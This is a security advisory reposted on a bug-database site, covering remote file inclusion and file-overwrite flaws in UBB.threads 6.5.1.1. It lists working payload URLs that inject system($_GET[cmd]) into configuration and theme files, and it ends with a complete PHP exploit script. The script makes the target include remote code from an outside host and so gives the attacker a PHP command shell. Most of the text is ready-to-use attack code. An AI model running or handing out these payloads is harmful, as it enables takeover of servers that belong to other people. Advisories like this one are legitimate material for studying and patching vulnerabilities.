UBB.threads Multiple input validation error

Advisory Content :

Hello,,

UBB.threads Multiple input validation error

Discovered By : HACKERS PAL

Copy rights : HACKERS PAL

Website : http://www.soqor.net

Email Address : security (at) soqor (dot) net [email concealed]

Tested on Version 6 (6.5.1.1) and other versions maybe affected

Remote File including :

ubbt.inc.php?GLOBALS[thispath]=http://localhost/cmd.txt?&cmd=dir

ubbt.inc.php?GLOBALS[configdir]=http://localhost/cmd.txt?&cmd=dir

-------------------------------------------------------

Files overwrite vulnerabilities

if magic_qoutes_gpc = off

admin/doedittheme.php?theme[soqor]=".system($_GET[cmd])."&thispath=../

and open

includes/theme.inc.php?cmd=ls -la

or :-

admin/doeditconfig.php?config[soqor]=".system($_GET[cmd])."&thispath=../

and open

includes/config.inc.php?cmd=ls -la

-- # -- # -- # --

if magic_qoutes_gpc = on

admin/doeditconfig.php?thispath=../includes&config[path]=http://psevil.g
ooglepages.com/cmd.txt?

and you will have a command execution files ..

example

dorateuser.php?cmd=ls -la

calendar.php?cmd=ls -la

and so many other files which includes using this variable ($config[path])

-------------------------------------------------------

Full path

cron/php/subscriptions.php

-------------------------------------------------------

Exploit :-

#!/usr/bin/php -q -d short_open_tag=on

<?

/*

/* UBB.threads Multiple vulnerabilities

/* This exploit should allow you to execute commands

/* By : HACKERS PAL

/* WwW.SoQoR.NeT

*/

print_r('

/**********************************************/

/* UBB.threads Command Execution */

/* by HACKERS PAL <security (at) soqor (dot) net [email concealed]>
*/

/* site: http://www.soqor.net */');

if ($argc<2) {

print_r('

/* -- */

/* Usage: php '.$argv[0].' host

/* Example: */

/* php '.$argv[0].' http://localhost/

/**********************************************/

');

die;

}

error_reporting(0);

ini_set("max_execution_time",0);

$url=$argv[1]."/";

$exploit="admin/doeditconfig.php?thispath=../includes&config[path]=http:
//psevil.googlepages.com/cmd.txt?";

$page=$url.$exploit;

Function get_page($url)

{

if(function_exists("file_get_contents"))

{

$contents = file_get_contents($url);

}

else

{

$fp=fopen("$url","r");

while($line=fread($fp,1024))

{

$contents=$contents.$line;

}

}

return $contents;

}

$page = get_page($page);

$newpage = get_page($url."calendar.php");

if(eregi("Cannot execute a blank command",$newpage))

{

Die("n[+] Exploit Finishedn[+] Go To : ".$url."calendar.php?cmd=ls -lan[+]
You Got Your Own PHP Shelln/* Visit us : WwW.SoQoR.NeT
*/n/**********************************************/");

}

Else

{

Die("n[-] Exploit Failedn/* Visit us : WwW.SoQoR.NeT
*/n/**********************************************/");

}

?>

WwW.SoQoR.NeT

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

UBB.threads Multiple input validation error